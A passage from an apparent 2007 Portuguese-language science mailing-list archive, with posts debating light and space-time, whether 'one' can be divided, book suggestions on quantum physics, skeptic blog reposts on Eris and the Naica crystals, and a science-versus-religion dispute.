o mar. Na década de 1970, os aterros foram feitos de qualquer forma e sem
nenhum planejamento. Isso aconteceu porque havia interesse político entre as
empresas de aterro e o governo da época. O Brasil, por exemplo, é um dos
poucos lugares que conheço que, embora tenham um litoral extenso, não
fizeram bordas-d`água [áreas urbanas que permitem contato direto entre a
terra e o mar], nunca tivemos grandes preocupações ao construir portos no
Brasil e os córregos e esgotos nas favelas não são canalizados. Esses são
problemas que realmente afetam as cidades.

IE: Você alinha a construção de barcos com a sustentabilidade. Como
faz isso?
AK: No meu estaleiro fazemos os melhores barcos de viagem às regiões
polares. Recebemos pedidos muito diferenciados, como barcos com baixo
consumo e motores mais silenciosos. A eficiência energética está presente em
todos os nossos projetos. Procuramos soluções duráveis e de menor custo na
parte de hidráulica, na construção de geladeiras, nos revestimentos e
isolamentos etc. Os barcos a vela, por exemplo, parecem muito românticos,
mas após algumas auditorias descobri que o vectran, a fibra usada na
construção da vela, não é sustentável. É um material caro, com curto tempo
de uso. Também não trabalho mais com madeira, porque não acredito em
certificação. A Ásia tem sérios problemas de certificação falsa. Imagino que
no Brasil não seja diferente. Por isso, opto por bambu e eucalipto, que além
de terem custo mais baixo não causam danos ambientais. No meu estaleiro
temos o privilégio de colocar grandes idéias em prática. Outro diferencial
do nosso trabalho está na mão-de-obra. Não temos profissionais
especializados. Selecionamos pessoas que estão nas ruas, vindas de áreas
carentes e sem escolaridade, que dificilmente encontrariam emprego decente.
Contamos com jovens e velhos que em sua maioria não foram alfabetizados. Mas
essas pessoas trabalham com a alma. E é isso que eu preciso para construir
um barco. Depois de selecionadas, essas pessoas recebem todo o treinamento,
como aulas de inglês e de informática. Não temos laboratório para isso, como
nas grandes empresas, mas tenho muito orgulho do que fazemos em nosso
estaleiro. Foi assim que construí um de meus melhores barcos. E sei que não
perdemos em qualidade nem para os melhores estaleiros da França.

IE: Já é possível realizar grandes viagens de barco usando
biocombustíveis?
AK: Sim, é possível. O Brasil tem um potencial enorme para a produção
de biocombustíveis. Ainda não fiz isso, mas tenho planos de dar a volta ao
mundo usando algum tipo de combustível produzido da palma, de sebo ou do
bambu.

Data: 06/06/2007 Fonte: Giselle Paulino / Edição: Benjamin S.
Gonçalves


[


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/06/2007 12:33

Olá Takata!
Ferrari >>> Vc diz "a luz", como se fosse um ente. Por
favor, Takata, me diga qual é sua definição de luz.

Takata >>> É a dos físicos. Há duas possíveis: uma
onda eletromagnética e/ou fenômeno associado aos
fótons.

--- No caso de onda, a luz se propaga por qual meio?

--- No caso de fótons, a luz é como gotas dágua por um
cano oco? Ou seja, particulas tridimencionais que se
deslocam por um espaço vazio? É isto?

--- Sobre a régua gigante, gostei muito da idéia, e
estou pensando que ele pode ser uma boa forma de
entender a questão... vamos ver... dizem que eisntein
gostava de viajar num raio de luz


grato
ferrari


EXPERIMENTE XIXI COM TINTA (novo livro do Ferrari):
http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664

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SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/06/2007 12:36

> Léo: Olha Ferrari ... num mundo onde houver uma
> régua desse tamanho, os seres que a manipulam devem
> ser maiores ainda. Eles pegariam essa régua com uma
> das mãos, encostariam o "0" na Terra (uma marca de
> poeira) e observariam, diretamente, em que leitura
> cai a distância até Beteljeuze-gama.
> Tão simples como medir a largura de uma folha de
> caderno com uma régua de madeira escolar. Os
> instrumentos de medição devem ser compatíveis com
> seus manipuladores. Já percebeu que a área das
> teclas do seu teclado devem ser compatíveis com as
> áreas das pontas dos seus dedos? Que tal mandar
> fazer um teclado com teclas do tamanho de cabeças de
> alfinetes, espaçadas de uma cabeça de alfinete? Ou
> do tamanho da porta de seu quarto?

--- ok, mensagem lida e compreendida.

--- vai está justamente ai a dificuldade humana em se
medir o infinito.


grato.
ferrari


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SUBJECT: Re: Os que não dividiram o carro, tentando dividir o UM
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/06/2007 12:45

Olá Takata!

Takata >>> Opção UM: Pegue UMA maçã e UMA faca afiada.
Aproxime o gume da faca sobre a maçã q está parada
sobre uma superfície firme. Faça UM rápido movimento
para baixo e para a frente com a faca com gume
pressionado contra a maçã. Certifique-se de q a lâmida
da faca fique alinhado em um dos plano perpendiculares
q passem pelo centro do fruto. Ao fim da operação vc
terá 2 x 0,5 maçã.

--- Engano seu, Takata. Fiz a experiencia e fiquei com
UM + UM. Não encontrei nem o 0,5 nem o dois. Acho que
eles só existem mesmo na matemática. Ou então, na
terra dos duendes, onde o homero diz que eu moro, mas
nem aqui os acho. Será que em algum outro lugar na
natureza encontro o tal do 0,5 ou então o 2?


abço.
ferrari



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SUBJECT: Res: [ciencialist] Animação da experiência da fenda dupla
FROM: "Cacildo Krebs" <cacildokrebs@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/06/2007 14:46

Interessantíssimo este experimento. O Mundo Quântico está nos revelando
grandes surpresas, muitas sem respostas ainda. Gostaria de saber mais a
respeito deste assunto.

Grato pela mensagem

Cacildo

-------Mensagem original-------

De: Esteban Moreno
Data: 12/6/2007 13:59:20
Para: undisclosed-recipients:,
Assunto: [ciencialist] Animação da experiência da fenda dupla

Uma bela aula para refletir sobre os parodoxos da mecanica quântica:

http://mojiti.com/kan/4192/13741/59852

E.

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Res: [ciencialist] Animação da experiência da fenda dupla
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/06/2007 15:36

Uma introdução em nível de divulgação vc encontra em "O Universo
Elegante" - q vai além e chega às supercordas (a idéia das branas é
desenvolvida em "O Tecido do Cosmos" - ambos de Brian Greene).

Uma idéia ilustrada, mas nem sempre fácil é apresentada em "Universo
em uma Casca de Noz" - de Stephen Hawking.

Nos três tb são apresentadas noções da mecânica relativística.

O experimento da dupla fenda pode ser feita em casa.
Quantum Erasing in the Home
http://www.sciam.com/slideshow.cfm?articleID=DD39218F-E7F2-99DF-39D45DA3DD2602A1

A Do-It-Yourself Quantum Eraser
http://www.sciam.com/article.cfm?chanID=sa006&colID=1&articleID=DD39218F-E7F2-99\
DF-39D45DA3DD2602A1

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Cacildo Krebs"
> Interessantíssimo este experimento. O Mundo Quântico está nos
> revelando grandes surpresas, muitas sem respostas ainda. Gostaria de
> saber mais a respeito deste assunto.



SUBJECT: Re: [ciencialist] Os que não dividivam o carro, tentando dividir o UM
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/06/2007 15:40

Ferrari >>> Do fato que Um é Um, indivisivel.

Takata >>> 1/2 = 0,5 (c.q.d.)

Ferrari >>> Me mostre 0,5 na natureza.

#### Léo: meio dia, meia Lua, meia vida, meia (um dos pés do par de meias) ...

Luiz >>> Vácuo é ausência de matéria.

Ferrari >>> Sim, e o que é ausencia? É a presença de
anti-matéria invertida ao quadrado da hipotenusa da
onda?

#### Léo: Sim, acredito que vc não saiba o que é "ausência". Mas, fique sabendo que é justamente essa 'ausência' que o diferencia dos que sabem algo de vida, realidade, ciência, matemática etc.

[]'
Léo



SUBJECT: Re: Res: [ciencialist] Animação da experiência da fenda dupla
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/06/2007 15:56

Olá Cacildo

Reforço as recomendações do Takata, em especial quanto ao Universo Elegante. Mas eu sugeriria, no lugar do Universo em uma Casca de Nóz, outro livro do Hawking, Uma Nova História do Tempo, escrito em parceria com outro fisico, Mlodinow, que é excelente escritor e tornou as explicações mais claras e agradáveis, mais fáceis para o entendimento de leigos e iniciantes (não exatamente "fáceis", em física seria quase impossível, mas mais "palatáveis"..:-).

Uma Nova História do Tempo, STEPHEN W. HAWKING LEONARD MLODINOW
http://www.submarino.com.br/books_productdetails.asp?Query=ProductPage&ProdTypeId=1&ProdId=1075721&ST=SR

Está em oferta no Submarino, vale a pena.

Um abraço.

Homero





----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Friday, June 15, 2007 3:36 PM
Subject: Re: Res: [ciencialist] Animação da experiência da fenda dupla


Uma introdução em nível de divulgação vc encontra em "O Universo
Elegante" - q vai além e chega às supercordas (a idéia das branas é
desenvolvida em "O Tecido do Cosmos" - ambos de Brian Greene).

Uma idéia ilustrada, mas nem sempre fácil é apresentada em "Universo
em uma Casca de Noz" - de Stephen Hawking.

Nos três tb são apresentadas noções da mecânica relativística.

O experimento da dupla fenda pode ser feita em casa.
Quantum Erasing in the Home
http://www.sciam.com/slideshow.cfm?articleID=DD39218F-E7F2-99DF-39D45DA3DD2602A1

A Do-It-Yourself Quantum Eraser
http://www.sciam.com/article.cfm?chanID=sa006&colID=1&articleID=DD39218F-E7F2-99\
DF-39D45DA3DD2602A1

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Cacildo Krebs"
> Interessantíssimo este experimento. O Mundo Quântico está nos
> revelando grandes surpresas, muitas sem respostas ainda. Gostaria de
> saber mais a respeito deste assunto.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Os que não dividiram o carro, tentando dividir o UM
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/06/2007 16:08

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Engano seu, Takata. Fiz a experiencia e fiquei com
> UM + UM.

Caramba, vc deve ser o novo Jesus Cristo, não me admira q vc sabe
coisas q ninguém mais sabe. Vai resolver o problema do mundo. Corta
uma maçã ao meio e se tem duas maçãs. Incrível...

[]s,

Roberto Takata



SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/06/2007 16:11

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- No caso de onda, a luz se propaga por qual meio?

Nenhum. Ela se propaga no próprio espaço-tempo.

> --- No caso de fótons, a luz é como gotas dágua por um
> cano oco?

Não.

> --- Sobre a régua gigante, gostei muito da idéia, e
> estou pensando que ele pode ser uma boa forma de
> entender a questão... vamos ver... dizem que eisntein
> gostava de viajar num raio de luz

Raio de luz e não em maionese.

[]s,

Roberto Takata



SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/06/2007 17:55

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Nenhum. Ela se propaga no próprio espaço-tempo.

Embora não sejam ondulações do espaço-tempo (isso são as ondas
gravitacionais).

Antigamente pensava-se q a luz se propagava em um meio chamado éter
luminífero. Mas experimentos mostraram q essa idéia não era boa - se
houvesse tal éter, a Terra deveria se mover através dela, isso
significaria q a luz deveria apresentar diferentes velocidades em
relação à Terra de acordo com a direção em q a velocidade da luz fosse
medida. Se houvesse essa diferença, um feixe de luz separado em
ângulos de 90oC entrariam em defasagem e criariam uma interferência
entre os subfeixes. Michaelson e Morley testaram isso e não
encontraram a tal interferência.

A luz como onda é uma onda eletromagnética, significa q representa a
propagação de variação na intensidade dos campos elétricos e
magnéticos. No vácuo, como haver tais campos, uma vez q desprovido de
matéria - partículas com cargas elétricas e magnéticas q pudessem
gerá-los? Aí entra a visão quântica do vácuo - o vácuo quântico não é
um lugar exatamente vazio, por conta das flutuações nos valores dos
campos, há uma pletora de partículas q surgem "do nada". Mas, em
geral, essas partículas somem tão logo aparecem - conservando em
escala maior o princípio da conservação de energia. Com seu tempo de
vida extremamente curto (e alguns outros motivos), tais partículas
recebem o nome de virtuais. Um tipo de partícula virtual q surge no
meio do vácuo (quântico) são os fótons vituais, q medeiam a interação
elétrica e magnética. A passagem da luz por uma região no espaço
representa a alteração local e instantânea na taxa de geração de
fótons virtuais.

Do ponto de vista da luz como um feixe de fótons, os fótons do feixe
são aniquilados e reconstituídos no meio desse mar de fótons virtuais.
As partículas virtuais - dentro do princípio da preservação de carga -
surgem aos pares, com certas propriedades opostas: são partículas e
antipartículas. Qdo ambas se encontram, anulam-se mutuamente. Fótons
virtuais tb são gerados em fótons e antifótons. Como são um sem número
de pares q surgem a todo instante, alguns antifótons gerados em uma
dada região restrita (estamos falando na escala de pouco mais q o
volume de Planck) são exatamente opostos ao fóton do feixe de luz a
transitar pelo local. Eles podem se chocar e ambos se aniquilarem. Mas
como os antifótons ao serem produzidos tiveram tb um fóton oposto
complementar - esse fóton fica despareado e tem as mesmas
características do fóton do feixe q foi aniquilado. Esse processo se
repete indefinidamente ao longo do percurso.

[]s,

Roberto Takata



SUBJECT: Re: Os que não dividiram o carro, tentando dividir o UM
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/06/2007 19:12

Talvez o problema seja de português: 1 maçã / 2 = 1 metade + 1 metade :)))


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@>
> > --- Engano seu, Takata. Fiz a experiencia e fiquei com
> > UM + UM.
>
> Caramba, vc deve ser o novo Jesus Cristo, não me admira q vc sabe
> coisas q ninguém mais sabe. Vai resolver o problema do mundo. Corta
> uma maçã ao meio e se tem duas maçãs. Incrível...
>
> []s,
>
> Roberto Takata
>




SUBJECT: Plutão era o décimo planeta (ou 11o, 12o…)
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 15/06/2007 23:07

Plut�o era o d�cimo planeta (ou 11o,
12o�)<http://www.ceticismoaberto.com/news/?p=905>


Inicialmente descoberto em 2005,
Eris<http://www.gps.caltech.edu/%7Embrown/planetlila/index.html>�
conhecido ent�o como "Xena" � j� havia sido notado no ano passado como
fisicamente maior que o velho Plut�o. Agora, novas pesquisas confirmam que
Eris possui tamb�m mais massa que
Plut�o<http://hubblesite.org/newscenter/archive/releases/2007/24/full/>,
jogando mais �gua fria nas esperan�as de reabilitar o antigo nono planeta do
sistema solar. Eris possui uma �rbita um pouco mais distante, mas � quase um
ter�o maior, o que significa que desde o in�cio da hist�ria humana tivemos
oito "planetas" no sistema solar, e uma grande s�rie de outros objetos al�m
de Netuno, sendo Plut�o na melhor das hip�teses o segundo maior deles (ainda
est� aberta a possibilidade de encontrar objetos maiores que Plut�o e mesmo
Eris).
Astr�logos e charlat�es como D�niken, Sitchin e companhia, que adoravam um
sistema solar com nove (ou dez�) planetas, continuam a reescrever suas
id�ias baseados no que a ci�ncia de verdade descobre sobre o mundo real que
nos cerca.
[via BAblog<http://www.badastronomy.com/bablog/2007/06/14/news-eris-more-massive-than-pluto/>
]

Postado em Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Curiosidades <http://www.ceticismoaberto.com/news/?cat=7>,
Ci�ncia<http://www.ceticismoaberto.com/news/?cat=11>,
Ceticismo <http://www.ceticismoaberto.com/news/?cat=12> | Por Mori Comente!
� <http://www.ceticismoaberto.com/news/?p=905#respond>

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Grande Salto para a Humanidade "Segundo o site...


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Naica, mina dos cristais gigantes do Super-homem
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 15/06/2007 23:10

Naica, mina dos cristais gigantes do
Super-homem<http://100nexos.com/arquivo/174><http://100nexos.com/arquivo/174#respond>

<http://giantcrystals.strahlen.org/america/naica.htm>A imagem ao lado n�o �
uma fotomontagem: as cavernas de Naica no M�xico possuem n�o s� um dos
maiores conjuntos de cristais, como um dos mais belos. "Cristais gigantes
geralmente s�o exatamente isto: de grandes dimens�es! Mas n�o s�o
necessariamente bonitos ou est�ticos no sentido comum, e de fato apenas
raramente apresentam cristais crescendo livremente. Mas em Naica sim! Tudo
que voc� j� imaginou sobre cristais gigantes no interior da Terra, com
enormes v�os replketos de cristais brilhantes enormes entre os quais voc�
pode andar � realidade em Naica!", comenta o Giant Crystal
Project<http://giantcrystals.strahlen.org/america/naica.htm>.
Os cristais de gipsita podem chegar a doze metros de tamanho por dois de
di�metro!
Em verdade, inicialmente as minas com os cristais mais belos de Naica tinham
uma temperatura de agrad�veis 60 graus com uma umidade relativa de 100%, o
que segundo se conta teria levado � morte de pelo menos um minerador que se
aventurou sozinho tentando obter um souvenir. Hoje as condi��es parecem mais
prop�cias, e voc� confere clicando na imagem abaixo um di�rio de uma
expedi��o recente �s minas.
<http://naica.laventa.it/naica-news.en.html>
Depois da descoberta da Criptonita, que n�o seria
verde<http://www.bbc.co.uk/portuguese/reporterbbc/story/2007/04/070424_criptonitag.shtml>,
n�o � um choque saber que a base de Super-homem fica ao norte do M�xico.
Mais precisamente na prov�ncia de
*Chihuahua*<http://en.wikipedia.org/wiki/Naica_Mine>
.
[via Proceedings of the Athanasius Kircher
Society<http://www.kirchersociety.org/blog/2007/06/12/giant-crystals-of-naica/>
]

*Veja tamb�m:*
Jogo: Homem-aranha <http://100nexos.com/arquivo/116>...
Como conquistar mulheres? Com um toque! <http://100nexos.com/arquivo/170>Do
Gl�on/ blog: Essas informa�&otild...
Cinema Trash Turco <http://100nexos.com/arquivo/171> Da s�rie em tr�s partes
no Duvido!: ...
"Carnaval no Rio" com Arnold
Schwarzenegger<http://100nexos.com/arquivo/131>"Sabia que tinha algo
em comum com o homem brasil...
Gizmo � Imperd�vel <http://100nexos.com/arquivo/139> "Gizmo" � uma
compila��o fa...


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/06/2007 10:36

>
>Eles podem se chocar e ambos se aniquilarem. Mas
>como os antifótons ao serem produzidos tiveram tb um fóton oposto
>complementar - esse fóton fica despareado e tem as mesmas
>características do fóton do feixe q foi aniquilado. Esse processo se
>repete indefinidamente ao longo do percurso.
>

Anti-fóton? Pensava que só partículas de matéria teriam anti-matéria... Só
"férmions"... Bom, nesta explicação, então, um raio de luz seria uma
sequência de sobras de fótons virtuais despareados que vão surgindo pelo
caminho da onda, certo? Se eventualmente o fóton de um raio de luz não
encontrar um anti-fóton virtual este pararia? Se sim, poderia ser este o
motivo da atenuação de um feixe de luz? Desta forma, o acontece com raios de
luz que chegam aos "confins" do universo (creio que seriam apenas os
provenientes do "big bang", por causa da relatividade), onde não existe
qualquer tipo de campo? Entendo que aí não nem vácuo (energia zero) onde
possam ocorrer flutuações... Se a luz "caminha" por flutuações quânticas do
vácuo esta não poderia então estar expandindo o universo... Deu um nó na
minha cabeça! :-)

[]´,s
Jeff.



SUBJECT: Re: [ciencialist] Re: Ciência & Religião.
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/06/2007 10:38

Olá, JC!
Não tenho dúvidas que a mensagem abaixo foi escrita por você, sem precisar
de ajuda de ninguém... É típica redação de quem não tem o que falar: procura
ofender, desqualificar, não argumenta e nada acrescenta.
[]s
JR
...........................................
From: "José Carlos Antonio" <profjc2003@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, June 04, 2007 7:14 PM
Subject: [Spam] [ciencialist] Re: Ciência & Religião.


Como pode uma pessoa sozinha escrever tanta besteira junta em uma
mensagem só? Eu sou cético demais para crer que essa mensagem tem um
único autor, o JR. Acho que nem mesmo ele e seu avião que não voa
seria capaz de numa única mensagem rasgar toda a história da ciência
como se fosse um assunto sobre o qual ninguém soubesse.

Cruzes! Queima capeta!

Deveria ter lei contra esse tipo de crime lesa-história-da-humanidade.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> "A mentalidade aberta e desprovida de *preconceitos*, como nos ensinou
> Galileu, é indispensável para a geração do verdadeiro conhecimento."
(Belita Koiller)
> ...................................
> Esqueceu a acadêmica Belita Koiller, que a humanidade desenvolve
conceitos e
> mantém preconceitos desde sempre. Tudo o que existe hoje em ciência e
> cultura já foi pensado, discutido e experimentado. Usar o termo
preconceito,
> apenas para menosprezar os conceitos dos meus opositores, é tentar
enganar
> os menos avisados. Ela esqueceu que os conceitos de Justiça, Respeito,
> Bondade, Vida, Honra, Existência, Paz, Humanidade, Honestidade, etc.
vêm
> sendo construídos a duras penas durante milênios. E sempre há aqueles
> imaturos descontentes que desejam fazer o que lhes passar pela
cabeça, sem
> considerar as conseqüência.
>
> O ocorrido com Galileu resume-se a briga de poder político e não a uma
> questão de ciência, visto que Copérnico já publicara livro sobre o
assunto
> cerca de 15 anos antes, dedicado ao Papa, seu amigo e padrinho, maior
> incentivador de seus inovadores estudos astronômicos. As leis, a
moral, o
> direito e a justiça são preconceitos testados e estabelecidos ao longo
> desses milênios, sempre em confronto com aqueles cujo os desejos
imediatos
> conflitam com esses conceitos consolidados.
>
> Observar que os que denunciam preconceitos retrógrados são aqueles
que estão
> bem, são articulados e têm poder. O cidadão que não tem essas vantagens
> político-social-econômicas preza muito esses preconceitos que lhe
garante um
> mínimo de participação, justiça, direito e cidadania. São aos mais
frágeis
> que a Justiça protege. No caso da célula-tronco não é diferente. Com a
> desculpa de utilizar embriões congelados que serão descartados no
lixo(?!)
> desejam a liberação geral para as pesquisas com células-tronco
embrionárias.
> Quando já se têm firmado cerca de 81 procedimentos terapêuticos
efetivos e
> seguros, realizados com células-tronco obtidas do próprio paciente
ou de
> cordões umbilicais.
>
> Já repararam como os transgressores, corruptores, agressores e
criminosos
> não têm preconceitos, nem dão a mínima às leis estabelecidas! Quando os
> donos do poder não pesam suas decisões é toda a humanidade que paga.
>
> []s
>
> José Renato
> .....................................
>
> From: "Silvio Cordeiro" <scordeiroes@...>
> To: <ciencialist@yahoogrupos.com.br>; <Acropolis_@yahoogrupos.com.br>
> Cc: <pedraderoseta@yahoogrupos.com.br>
> Sent: Saturday, June 02, 2007 11:41 AM
> Subject: [Spam] [ciencialist] Ciência & Religião.
>
>
> Belita Koiller: Convicções religiosas ameaçam a continuidade de
> pesquisas científicas extremamente relevantes
>
> Ela saudou os novos acadêmicos no ato de posse. E disse, entre
outras:
> "Seria enorme desperdício para a humanidade abrir mão de metade dos
talentos
> potenciais para a ciência, caso o trabalho científico continuasse sendo
> visto como uma atividade predominantemente masculina"
>
> Leia a integra do discurso da acadêmica Belita Koiller:
>
> "Cabe-me esta noite a grande honra de saudar os novos
acadêmicos. Em
> nome da ABC gostaria de expressar as nossas boas vindas aos que hoje
tomam
> posse, e agradecer a todos pelo enriquecimento e prestígio que nos
trazem
> com sua competência científica e experiência de vida.
>
> Creio ser desnecessário explicar aos novos colegas o que é a
ABC. A
> programação desta Reunião Magna anual ilustra bem sua atuação, sua
> relevância, sua presença nacional e sua inserção na comunidade
científica
> internacional:
>
> 1) O Simpósio Jovens Cientistas, com palestras dos nossos
prováveis
> futuros colegas acadêmicos, demonstra a atenção da ABC com o futuro, a
> renovação e a continuidade do trabalho aqui desenvolvido;
>
> 2) Simpósios sobre Mudanças Climáticas, Amazônia e Ensino de
Ciências
> e Matemática, são representativos de alguns dos graves problemas
nacionais
> que a ABC debate, valendo-se de seus membros especialistas. Para
lidar com
> esses problemas, avalia alternativas cientificamente viáveis, e
sobre eles
> assessora o governo e informa a sociedade;
>
> 3) A apresentação pelo ministro Sergio Rezende, nosso colega
> acadêmico, do Plano Plurianual de C&T, para discussão com a comunidade
> acadêmica, exemplifica o prestígio e a responsabilidade da ABC junto ao
> governo;
>
> 4) Conferências Magnas proferidas pelos profs. Yoccoz e Rao,
> destacados cientistas internacionais, bem como a reunião do Conselho
> Científico Brasil-Índia, ilustram a abrangente inserção
internacional da
> ABC.
>
> Aproveito a menção à inserção internacional da ABC para
dirigir uma
> breve saudação aos membros estrangeiros que tomaram posse hoje: I am
deeply
> honored to represent the Brazilian Academy of Sciences in saluting and
> welcoming the distinguished Foreign Scientists that join the Brazilian
> Academy of Sciences tonight, and in thanking you for bringing your
> scientific expertise to keep our Academy strong and ever more
prestigious,
> enhancing its national and international impact and relevance.
>
> Confesso que fiquei surpresa ao receber este honroso convite do
> presidente Jacob Palis. Em termos aleatórios, a chance de que uma
Acadêmica
> fosse escolhida entre os atuais membros seria de 10%.
>
> Na minha área, das Ciências Físicas, a probabilidade de
escolha de uma
> mulher não chega a 5%.
>
> Suspeito que a escolha não tenha sido aleatória, mas uma forma de
> manifestar a intenção da ABC de valorizar e incentivar a presença das
> mulheres na ciência.
>
> Seria enorme desperdício para a humanidade abrir mão de metade
dos
> talentos potenciais para a ciência, caso o trabalho científico
continuasse
> sendo visto como uma atividade predominantemente masculina.
>
> É importante sinalizar para a sociedade, particularmente para as
> jovens estudantes, que as ciências apresentam opções profissionais
> atraentes, viáveis e gratificantes também para elas.
>
> Para isso contribui o ingresso hoje de nossas colegas Ângela
Maria,
> Berenice, Maria Assunção, e Miriani.
>
> Permitam-me prosseguir na saudação aos novos acadêmicos em
estilo um
> pouco mais pessoal. Seguindo o simbolismo da escolha pela direção da
ABC,
> dirijo especiais boas-vindas à minha colega Miriani, que ingressa na
área
> das Ciências Físicas (nos conhecemos há 20 anos, quando participamos do
> Comitê Assessor de Física e Astronomia do CNPq).
>
> Como boa Astrônoma, especialista em estrelas e galáxias,
Miriani já
> chega em alta, elevando para 6% a proporção feminina nas Ciências
Físicas.
>
> Os fenômenos astronômicos sempre maravilharam a humanidade. Sua
> compreensão e formulação em termos de leis fundamentais da Física
tiveram
> início com Galileu Galilei, cientista italiano que viveu de 1564 a 1642.
>
> Naquela época, a explicação vigente para o movimento dos
corpos havia
> sido concebida por Aristóteles, quase 2000 anos antes: Aristóteles
dividia o
> universo entre "Mundo Terrestre" e "Mundo Celeste".
>
> Os 4 elementos existentes no "Mundo Terrestre", terra, água, ar e
> fogo, tenderiam a deslocar-se para seu "lugar natural":
>
> 1) Terra e água: para baixo.
>
> 2) Ar e fogo: para cima.
>
> Já os corpos do "Mundo Celeste", sendo constituídos de uma "5ª
> essência" ou "essência divina", teriam como estado natural o
movimento em
> torno da Terra.
>
> Com isso estava explicado o movimento dos corpos celestes, no
centro
> dos quais a Terra permaneceria fixa - a chamada concepção geocêntrica.
>
> Galileu utilizou uma luneta para observar o movimento dos
planetas e
> seus satélites, e, com base em suas observações e na elaboração
matemática
> dos resultados, refutou as explicações vigentes e o modelo
geocêntrico para
> o universo.
>
> As conseqüências disso na época são bem conhecidas: Por ter
> questionado publicamente o modelo geocêntrico, Galileu foi acusado pelo
> tribunal do Santo Ofício em 1633 e obrigado a renegar sua convicção
de que a
> Terra se deslocava no espaço. Seus livros foram proibidos e seu
processo
> permaneceu arquivado por 350 anos.
>
> Isso não impediu que a humanidade viesse a reconhecê-lo como
aquele
> que inaugurou o método científico moderno, que une a observação
empírica, a
> elaboração de modelos e sua verificação experimental, abrindo o
caminho para
> a ciência newtoniana e para a investigação científica como a
conhecemos e
> praticamos hoje.
>
> É surpreendente por isso testemunharmos - nos dias que correm
- atos e
> declarações de autoridade do poder Judiciário do nosso país,
baseados em
> convicções de natureza religiosa, que ameaçam a continuidade de
pesquisas
> científicas extremamente relevantes realizadas no Brasil.
>
> Refiro-me ao trabalho com células-tronco embrionárias visando
> aplicações terapêuticas.
>
> São fatos como esses que não permitem esquecer que a prática da
> ciência, que tantos, e essenciais, e indiscutíveis benefícios tem
trazido à
> humanidade, requer constantemente, perseverantemente, de todos, e
> particularmente de nós cientistas, a defesa dos princípios e do método
> científico.
>
> A mentalidade aberta e desprovida de preconceitos, como nos
ensinou
> Galileu, é indispensável para a geração do verdadeiro conhecimento."
>
>
> [As partes desta mensagem que não continham texto foram removidas]
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SUBJECT: Re: [ciencialist] P/ Renato - Re: Balanço do avião
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/06/2007 11:40

Caro, Ricardo! Faço comentário no texto do e-mail abaixo, após JR2 - para
melhor acompanhamento, OK?
..............................................

From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, June 08, 2007 6:48 PM
Subject: RES: [ciencialist] P/ Renato - Re: Balanço do avião
..........................................

De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de José Renato
Enviada em: quarta-feira, 6 de junho de 2007 00:22
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] P/ Renato - Re: Balanço do avião

> Olá, Ricardo!

Oi José,

> JR1 - Parece-me que o que está emperrando é o monopólio do referencial
> único: o chão. Vamos detalhar. Veja *o que de fato ocorre* e escolha o
